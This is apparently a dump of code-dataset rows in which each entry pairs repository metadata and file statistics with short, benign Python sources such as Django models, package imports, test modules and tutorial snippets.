40589efcff4b22d7d3fd8ed3f7bf1ae76977a725 | 450 | py | Python | FaceDetectionAPI/api/models/image.py | bigbambooo/face_detection | 99d0482033bac8680ceaf3d9f8a1066be75b6d57 | [
"MIT"
] | 1 | 2021-03-01T16:09:13.000Z | 2021-03-01T16:09:13.000Z | FaceDetectionAPI/api/models/image.py | bigbambooo/face_detection | 99d0482033bac8680ceaf3d9f8a1066be75b6d57 | [
"MIT"
] | null | null | null | FaceDetectionAPI/api/models/image.py | bigbambooo/face_detection | 99d0482033bac8680ceaf3d9f8a1066be75b6d57 | [
"MIT"
] | null | null | null | import os
import uuid
from django.db import models
class Image(models.Model):
#request_id = models.CharField(max_length=100)
image_id = models.CharField(max_length=100)
image_array = models.TextField(null= True)
name = models.CharField(max_length=100)
status = models.CharField(max_length=100, defa... | 32.142857 | 67 | 0.757778 | 62 | 450 | 5.306452 | 0.516129 | 0.227964 | 0.273556 | 0.364742 | 0.452888 | 0.206687 | 0.206687 | 0 | 0 | 0 | 0 | 0.03876 | 0.14 | 450 | 13 | 68 | 34.615385 | 0.81137 | 0.204444 | 0 | 0 | 0 | 0 | 0.02809 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.333333 | 0 | 1 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 5 |
40926c36c7d4b34727195f8284c351a8c920ce94 | 81 | py | Python | maskrcnn_benchmark/modeling/gan/__init__.py | worldlife123/maskrcnn-benchmark | 6c8bc908c2b7299ca6ffb292ae2680ac354d0eec | [
"MIT"
] | null | null | null | maskrcnn_benchmark/modeling/gan/__init__.py | worldlife123/maskrcnn-benchmark | 6c8bc908c2b7299ca6ffb292ae2680ac354d0eec | [
"MIT"
] | null | null | null | maskrcnn_benchmark/modeling/gan/__init__.py | worldlife123/maskrcnn-benchmark | 6c8bc908c2b7299ca6ffb292ae2680ac354d0eec | [
"MIT"
] | null | null | null | from .discriminators import build_discriminator
from .loss import build_gan_loss
| 27 | 47 | 0.876543 | 11 | 81 | 6.181818 | 0.636364 | 0.323529 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.098765 | 81 | 2 | 48 | 40.5 | 0.931507 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 5 |
4095966fcd8c5f5f5ebb51911d27163ed9f2e4d1 | 11,240 | py | Python | official/vision/beta/projects/movinet/modeling/movinet_layers_test.py | akshit-protonn/models | 38c8c6fe4144c93d6aadd19981c2b90570c29eba | [
"Apache-2.0"
] | 8 | 2021-12-30T06:07:14.000Z | 2022-02-10T14:49:13.000Z | official/vision/beta/projects/movinet/modeling/movinet_layers_test.py | akshit-protonn/models | 38c8c6fe4144c93d6aadd19981c2b90570c29eba | [
"Apache-2.0"
] | 62 | 2021-06-09T00:47:27.000Z | 2021-09-24T09:06:58.000Z | official/vision/beta/projects/movinet/modeling/movinet_layers_test.py | akshit-protonn/models | 38c8c6fe4144c93d6aadd19981c2b90570c29eba | [
"Apache-2.0"
] | null | null | null | # Copyright 2021 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... | 30.296496 | 74 | 0.595996 | 1,378 | 11,240 | 4.730769 | 0.137881 | 0.01534 | 0.021169 | 0.025771 | 0.74674 | 0.731707 | 0.719589 | 0.712533 | 0.704249 | 0.692898 | 0 | 0.091985 | 0.262989 | 11,240 | 370 | 75 | 30.378378 | 0.694954 | 0.055872 | 0 | 0.679054 | 0 | 0 | 0.012461 | 0 | 0 | 0 | 0 | 0 | 0.10473 | 1 | 0.033784 | false | 0 | 0.013514 | 0 | 0.050676 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 5 |
40c048a9ee246e07b4d1118dfbf915003c301c29 | 234 | py | Python | contacts/admin.py | MiladGhadimi/ntest1 | a39eeade43243064e6a3ac22500c338f5d598568 | [
"MIT"
] | null | null | null | contacts/admin.py | MiladGhadimi/ntest1 | a39eeade43243064e6a3ac22500c338f5d598568 | [
"MIT"
] | null | null | null | contacts/admin.py | MiladGhadimi/ntest1 | a39eeade43243064e6a3ac22500c338f5d598568 | [
"MIT"
] | null | null | null | from django.contrib import admin
from . import models
admin.site.register(models.Contact)
#@admin.register(models.Model)
#class ContactAdmin(admin.ModelAdmin):
# list_display = ('first_name', 'last_name', 'phone', 'email')
| 29.25 | 66 | 0.730769 | 29 | 234 | 5.793103 | 0.689655 | 0.166667 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.128205 | 234 | 7 | 67 | 33.428571 | 0.823529 | 0.555556 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.666667 | 0 | 0.666667 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 5 |
9052173fd33371cbb2ca0c50bd1cd871e89b7881 | 167 | py | Python | pythonExamples/tutorial/list2.py | davidruffner/computation-physics-nyu-2009 | 754d48f820773cd6b1b3cd3a7444363b78e1ea00 | [
"MIT"
] | null | null | null | pythonExamples/tutorial/list2.py | davidruffner/computation-physics-nyu-2009 | 754d48f820773cd6b1b3cd3a7444363b78e1ea00 | [
"MIT"
] | null | null | null | pythonExamples/tutorial/list2.py | davidruffner/computation-physics-nyu-2009 | 754d48f820773cd6b1b3cd3a7444363b78e1ea00 | [
"MIT"
] | null | null | null | cats = ['Tom', 'Snappy', 'Kitty', 'Jessie', 'Chester']
print cats
cats.append('Catherine')
print cats
#Remove your 2nd cat, Snappy. Woe is you.
del cats[1]
print cats
| 20.875 | 54 | 0.688623 | 26 | 167 | 4.423077 | 0.692308 | 0.234783 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.013986 | 0.143713 | 167 | 7 | 55 | 23.857143 | 0.79021 | 0.239521 | 0 | 0.5 | 0 | 0 | 0.285714 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0 | null | null | 0.5 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 5 |
90570d0e3414e05d575a6c66eb32d445e13c5b95 | 4,456 | py | Python | tests/test_util_bib.py | LIVVkit/LIVVkit | 3a67d12daf1628a47be1852ee3711e312bf0dd12 | [
"BSD-3-Clause"
] | 6 | 2015-06-10T14:26:23.000Z | 2019-08-16T17:19:09.000Z | tests/test_util_bib.py | LIVVkit/LIVVkit | 3a67d12daf1628a47be1852ee3711e312bf0dd12 | [
"BSD-3-Clause"
] | 37 | 2015-07-02T15:01:10.000Z | 2019-12-11T23:52:02.000Z | tests/test_util_bib.py | LIVVkit/LIVVkit | 3a67d12daf1628a47be1852ee3711e312bf0dd12 | [
"BSD-3-Clause"
] | 4 | 2016-11-01T16:02:05.000Z | 2018-10-11T16:17:21.000Z | # coding=utf-8
import os
import pybtex.database
import livvkit
from livvkit.util import bib
DATA_DIR = os.path.join(os.path.dirname(livvkit.__file__), 'data')
KENNEDY2017_HTML = '<div class="bibliography"><h2>References</h2>' \
'<p>LIVVkit is an open source project licensed under a BSD 3-clause... | 48.434783 | 116 | 0.568223 | 545 | 4,456 | 4.576147 | 0.289908 | 0.028869 | 0.044106 | 0.056135 | 0.777466 | 0.777466 | 0.755814 | 0.721331 | 0.721331 | 0.693264 | 0 | 0.084816 | 0.293537 | 4,456 | 91 | 117 | 48.967033 | 0.70648 | 0.002693 | 0 | 0.318182 | 0 | 0.045455 | 0.506078 | 0.026565 | 0 | 0 | 0 | 0 | 0.090909 | 1 | 0.090909 | false | 0 | 0.060606 | 0 | 0.151515 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 5 |
906873fa6436d613e23443400d43fa9b6d94b7f6 | 30 | py | Python | pincer_bot/constants.py | Lunarmagpie/bot | eb7db379c9077309ddf3e3c1de1a496a5fe3f754 | [
"MIT"
] | 4 | 2022-01-01T21:08:30.000Z | 2022-01-05T13:13:38.000Z | pincer_bot/constants.py | Lunarmagpie/bot | eb7db379c9077309ddf3e3c1de1a496a5fe3f754 | [
"MIT"
] | 6 | 2021-09-03T02:16:32.000Z | 2021-11-19T09:53:19.000Z | pincer_bot/constants.py | Lunarmagpie/bot | eb7db379c9077309ddf3e3c1de1a496a5fe3f754 | [
"MIT"
] | 3 | 2021-09-01T00:49:07.000Z | 2021-11-16T05:20:39.000Z | GUILD_ID = 881531065859190804
| 15 | 29 | 0.866667 | 3 | 30 | 8.333333 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.666667 | 0.1 | 30 | 1 | 30 | 30 | 0.259259 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 5 |
906c7b02675b3a30cf20df6207bacf8108874340 | 372 | py | Python | {{ cookiecutter.repo_name }}/src/{{ cookiecutter.package_name }}/data/__init__.py | sedelmeyer/cookiecutter-pydata | b329d3817bb137e2c4fbb83a52583e38e5638eb0 | [
"MIT"
] | null | null | null | {{ cookiecutter.repo_name }}/src/{{ cookiecutter.package_name }}/data/__init__.py | sedelmeyer/cookiecutter-pydata | b329d3817bb137e2c4fbb83a52583e38e5638eb0 | [
"MIT"
] | 18 | 2020-06-27T19:50:09.000Z | 2020-07-24T02:37:03.000Z | {{ cookiecutter.repo_name }}/src/{{ cookiecutter.package_name }}/data/__init__.py | sedelmeyer/cookiecutter-pydata | b329d3817bb137e2c4fbb83a52583e38e5638eb0 | [
"MIT"
] | null | null | null | """
{{cookiecutter.package_name}}.data
{% for _ in cookiecutter.package_name %}{{"~"}}{% endfor %}~~~~~
This module contains functionality for downloading, cleansing, and/or
generating data for this project.
**Module functions:**
.. autosummary::
placeholder
|
"""
def placeholder():
"Placeholder function ... | 17.714286 | 69 | 0.701613 | 39 | 372 | 6.615385 | 0.717949 | 0.147287 | 0.178295 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.158602 | 372 | 20 | 70 | 18.6 | 0.824281 | 0.879032 | 0 | 0 | 0 | 0 | 0.62 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.333333 | true | 0.333333 | 0 | 0 | 0.333333 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 5 |
90738e5adaf7ff588c6c9e389e50ed86c95df928 | 815 | py | Python | experiments/Python/Python Lab/Design Patterns/mediator.py | udfds/stands | b1ac335aa409ee57c2eb0fd94fc7c9af35182524 | [
"Apache-2.0"
] | null | null | null | experiments/Python/Python Lab/Design Patterns/mediator.py | udfds/stands | b1ac335aa409ee57c2eb0fd94fc7c9af35182524 | [
"Apache-2.0"
] | 5 | 2020-04-10T19:49:34.000Z | 2021-11-28T12:28:50.000Z | experiments/Python/Python Lab/Design Patterns/mediator.py | udfds/CodeLab | c37fb1fb6c3ca557bbacd4c760f745789d195b3c | [
"Apache-2.0"
] | null | null | null | class TwoHeadDragon():
def __init__(self):
self.left_head = IceDragon(self)
self.right_head = FireDragon(self)
def ice_breath(self):
return self.left_head.ice_breath()
def fire_breath(self):
return self.right_head.fire_breath()
def get_left_head(self):
return s... | 20.897436 | 44 | 0.646626 | 101 | 815 | 4.861386 | 0.158416 | 0.162933 | 0.195519 | 0.162933 | 0.661914 | 0.503055 | 0.378819 | 0.248473 | 0.248473 | 0.248473 | 0 | 0 | 0.257669 | 815 | 38 | 45 | 21.447368 | 0.81157 | 0 | 0 | 0.384615 | 0 | 0 | 0.008589 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.423077 | false | 0 | 0 | 0.307692 | 0.846154 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 5 |
908e88c5580bec19879b43ad93eabfb9bb7d38d2 | 147 | py | Python | mujoco_ilqg/utils/__init__.py | pvarin/mujoco-ilqg | ddb8d2830a5841134325e020b58805de77ed7334 | [
"BSD-3-Clause"
] | 3 | 2019-09-19T02:35:09.000Z | 2021-12-14T05:01:10.000Z | mujoco_ilqg/utils/__init__.py | pvarin/mujoco-ilqg | ddb8d2830a5841134325e020b58805de77ed7334 | [
"BSD-3-Clause"
] | null | null | null | mujoco_ilqg/utils/__init__.py | pvarin/mujoco-ilqg | ddb8d2830a5841134325e020b58805de77ed7334 | [
"BSD-3-Clause"
] | null | null | null | from .gradients import grad_check
from .mujoco_utils import (get_state, set_state, reset_state)
from .plotting import (plot_gaussian, plot_gmm_pdf) | 49 | 61 | 0.836735 | 23 | 147 | 5 | 0.695652 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.095238 | 147 | 3 | 62 | 49 | 0.864662 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 5 |
90911532853e7e03ed625bb0c26a4bf058a2ffa7 | 108 | py | Python | fake_useragent/__init__.py | TakesxiSximada/fake-useragent-freeze | 089ef7e17288dff27947036881fdc85dadb186ae | [
"Apache-2.0"
] | 1 | 2016-11-30T09:12:28.000Z | 2016-11-30T09:12:28.000Z | fake_useragent/__init__.py | TakesxiSximada/fake-useragent-freeze | 089ef7e17288dff27947036881fdc85dadb186ae | [
"Apache-2.0"
] | null | null | null | fake_useragent/__init__.py | TakesxiSximada/fake-useragent-freeze | 089ef7e17288dff27947036881fdc85dadb186ae | [
"Apache-2.0"
] | null | null | null | from __future__ import absolute_import, unicode_literals
from fake_useragent.fake import UserAgent # noqa
| 27 | 56 | 0.851852 | 14 | 108 | 6.071429 | 0.642857 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.12037 | 108 | 3 | 57 | 36 | 0.894737 | 0.037037 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 5 |
9096dc746b6085c2d6d6c18230b0ae9dcec45d5c | 251 | py | Python | flask_requestpreprocessor/__init__.py | sabariramc/flask_requestpreprocessor | 41833a02700b57d44abd3e075689eb777c1628a7 | [
"MIT"
] | null | null | null | flask_requestpreprocessor/__init__.py | sabariramc/flask_requestpreprocessor | 41833a02700b57d44abd3e075689eb777c1628a7 | [
"MIT"
] | null | null | null | flask_requestpreprocessor/__init__.py | sabariramc/flask_requestpreprocessor | 41833a02700b57d44abd3e075689eb777c1628a7 | [
"MIT"
] | null | null | null | #!/usr/bin/python3
"""
Project :
Author : sabariram
Date : 06-Jun-2020
"""
from .paramparsers import parse_request_query_param, parse_request_file, parse_request_form, parse_request_json
from funcargpreprocessor import Decimal, DateArg, DateTimeArg
| 25.1 | 111 | 0.808765 | 32 | 251 | 6.0625 | 0.75 | 0.247423 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.031111 | 0.103586 | 251 | 9 | 112 | 27.888889 | 0.831111 | 0.262948 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 5 |
90a960bfe8323a19cba085835e9187de402044b4 | 154 | py | Python | projets/admin.py | Kgermando/fs | 41a1cfcf4e51655794f904d5927a528a70747b8d | [
"Apache-2.0"
] | null | null | null | projets/admin.py | Kgermando/fs | 41a1cfcf4e51655794f904d5927a528a70747b8d | [
"Apache-2.0"
] | null | null | null | projets/admin.py | Kgermando/fs | 41a1cfcf4e51655794f904d5927a528a70747b8d | [
"Apache-2.0"
] | null | null | null | from django.contrib import admin
admin.site.site_header = 'FASTSMART'
admin.site.site_title = "Interface d'administration"
# Register your models here.
| 22 | 52 | 0.792208 | 21 | 154 | 5.714286 | 0.761905 | 0.15 | 0.216667 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.116883 | 154 | 6 | 53 | 25.666667 | 0.882353 | 0.168831 | 0 | 0 | 0 | 0 | 0.277778 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.333333 | 0 | 0.333333 | 0 | 1 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 5 |
90aa90f1e424a74d070ddbe2fa70d77f6e7bb903 | 331 | py | Python | templatesadmin/edithooks/__init__.py | pyHammer/django-templatesadmin | 7a77375d474e2398b18474085b8960cd7405ffa1 | [
"BSD-3-Clause"
] | 1 | 2015-04-07T09:30:46.000Z | 2015-04-07T09:30:46.000Z | templatesadmin/edithooks/__init__.py | pyHammer/django-templatesadmin | 7a77375d474e2398b18474085b8960cd7405ffa1 | [
"BSD-3-Clause"
] | null | null | null | templatesadmin/edithooks/__init__.py | pyHammer/django-templatesadmin | 7a77375d474e2398b18474085b8960cd7405ffa1 | [
"BSD-3-Clause"
] | 2 | 2015-03-31T18:19:57.000Z | 2019-11-24T23:04:54.000Z |
class TemplatesAdminHook(object):
'''
Hook baseclass
'''
@classmethod
def pre_save(cls, request, form, template_path):
pass
@classmethod
def post_save(cls, request, form, template_path):
pass
@classmethod
def contribute_to_form(cls, form, template_path):
r... | 18.388889 | 53 | 0.637462 | 36 | 331 | 5.666667 | 0.527778 | 0.205882 | 0.235294 | 0.176471 | 0.470588 | 0.470588 | 0.470588 | 0.470588 | 0.470588 | 0 | 0 | 0 | 0.274924 | 331 | 17 | 54 | 19.470588 | 0.85 | 0.042296 | 0 | 0.5 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.3 | false | 0.2 | 0 | 0.1 | 0.5 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 5 |
90c6e8f0212f7713635363799ad719c77fabc0b7 | 43 | py | Python | reduce.py | Gerrydh/MPP-Recursion | de81bb0dcd50f7f66971db9000e6262767168b8f | [
"Apache-2.0"
] | null | null | null | reduce.py | Gerrydh/MPP-Recursion | de81bb0dcd50f7f66971db9000e6262767168b8f | [
"Apache-2.0"
] | null | null | null | reduce.py | Gerrydh/MPP-Recursion | de81bb0dcd50f7f66971db9000e6262767168b8f | [
"Apache-2.0"
] | null | null | null | print reduce ((lamda x, y: x * y), [1,2,3]) | 43 | 43 | 0.534884 | 10 | 43 | 2.3 | 0.8 | 0.173913 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.085714 | 0.186047 | 43 | 1 | 43 | 43 | 0.571429 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0 | null | null | 1 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 5 |
90cb1ee1e52b30af41e7461a8f463d21fde1b4f6 | 132 | py | Python | src/ethereum/apps.py | ResearchHub/ResearchHub-Backend-Open | d36dca33afae2d442690694bb2ab17180d84bcd3 | [
"MIT"
] | 18 | 2021-05-20T13:20:16.000Z | 2022-02-11T02:40:18.000Z | src/ethereum/apps.py | ResearchHub/ResearchHub-Backend-Open | d36dca33afae2d442690694bb2ab17180d84bcd3 | [
"MIT"
] | 109 | 2021-05-21T20:14:23.000Z | 2022-03-31T20:56:10.000Z | src/ethereum/apps.py | ResearchHub/ResearchHub-Backend-Open | d36dca33afae2d442690694bb2ab17180d84bcd3 | [
"MIT"
] | 4 | 2021-05-17T13:47:53.000Z | 2022-02-12T10:48:21.000Z | from django.apps import AppConfig
class EthereumConfig(AppConfig):
name = 'ethereum'
# TODO: Read contract addresses from s3
| 16.5 | 39 | 0.757576 | 16 | 132 | 6.25 | 0.875 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.009174 | 0.174242 | 132 | 7 | 40 | 18.857143 | 0.908257 | 0.280303 | 0 | 0 | 0 | 0 | 0.086022 | 0 | 0 | 0 | 0 | 0.142857 | 0 | 1 | 0 | false | 0 | 0.333333 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 5 |
90da4828fb771aca614ed19f9b4b73f673e88b38 | 126 | py | Python | lithops/wait/__init__.py | gfinol/lithops | e165a78e0facbb70c852d7627a7407e8a8d1b946 | [
"Apache-2.0"
] | null | null | null | lithops/wait/__init__.py | gfinol/lithops | e165a78e0facbb70c852d7627a7407e8a8d1b946 | [
"Apache-2.0"
] | null | null | null | lithops/wait/__init__.py | gfinol/lithops | e165a78e0facbb70c852d7627a7407e8a8d1b946 | [
"Apache-2.0"
] | null | null | null | from .storage import wait_storage
from .rabbitmq import wait_rabbitmq
from .utils import ALL_COMPLETED, ANY_COMPLETED, ALWAYS
| 31.5 | 55 | 0.849206 | 18 | 126 | 5.722222 | 0.555556 | 0.194175 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.111111 | 126 | 3 | 56 | 42 | 0.919643 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 5 |
90efc1bd3e512457f08e77e6468807ee50e0a180 | 79 | py | Python | secos/__init__.py | Ambroisie/SECOS | c440341391552a26153a1d07c2227b989bbf7e44 | [
"Apache-2.0"
] | 1 | 2019-11-27T08:04:49.000Z | 2019-11-27T08:04:49.000Z | secos/__init__.py | Ambroisie/SECOS | c440341391552a26153a1d07c2227b989bbf7e44 | [
"Apache-2.0"
] | null | null | null | secos/__init__.py | Ambroisie/SECOS | c440341391552a26153a1d07c2227b989bbf7e44 | [
"Apache-2.0"
] | 2 | 2020-02-16T07:20:06.000Z | 2021-02-08T21:02:36.000Z | import secos.eval
from .decompound import Splitter
from .train import Trainer
| 15.8 | 32 | 0.822785 | 11 | 79 | 5.909091 | 0.727273 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.139241 | 79 | 4 | 33 | 19.75 | 0.955882 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 5 |
290574ca9a40feae93b1aee5e74855c84ab612df | 23,644 | py | Python | tests/test_drifactorial.py | nkoub/drifactorial | 195783733c200379aa84679037059794a723a8fe | [
"MIT"
] | null | null | null | tests/test_drifactorial.py | nkoub/drifactorial | 195783733c200379aa84679037059794a723a8fe | [
"MIT"
] | null | null | null | tests/test_drifactorial.py | nkoub/drifactorial | 195783733c200379aa84679037059794a723a8fe | [
"MIT"
] | null | null | null | """Test module for the drifactorial package.
Dribia 2021, Xavier Hoffmann <xrhoffmann@gmail.com>
"""
import json
import re
from datetime import date, datetime, time, timedelta
from io import StringIO
from typing import List, Optional
import pydantic
import pytest
from pytest import CaptureFixture
from pytest_mock im... | 34.16763 | 88 | 0.675436 | 2,872 | 23,644 | 5.328691 | 0.070682 | 0.048615 | 0.082658 | 0.047439 | 0.783325 | 0.769407 | 0.756534 | 0.72811 | 0.70426 | 0.689428 | 0 | 0.007991 | 0.216672 | 23,644 | 691 | 89 | 34.217077 | 0.818314 | 0.062637 | 0 | 0.582168 | 0 | 0 | 0.096724 | 0.082842 | 0 | 0 | 0 | 0 | 0.138112 | 1 | 0.024476 | false | 0 | 0.022727 | 0 | 0.047203 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 5 |
290c035fd6357e23ed1ef1722719ac8412249e71 | 89 | py | Python | bayesfast/core/__init__.py | EiffL/bayesfast | 52e9f405e6c80232ab523165e54406449ac4d0e1 | [
"Apache-2.0"
] | 33 | 2019-11-06T15:42:50.000Z | 2022-01-14T05:56:03.000Z | bayesfast/core/__init__.py | EiffL/bayesfast | 52e9f405e6c80232ab523165e54406449ac4d0e1 | [
"Apache-2.0"
] | 30 | 2020-04-07T05:23:15.000Z | 2022-03-25T21:34:56.000Z | bayesfast/core/__init__.py | EiffL/bayesfast | 52e9f405e6c80232ab523165e54406449ac4d0e1 | [
"Apache-2.0"
] | 7 | 2019-12-03T06:43:20.000Z | 2021-12-09T14:26:06.000Z | from .density import *
from .module import *
from .recipe import *
from .sample import *
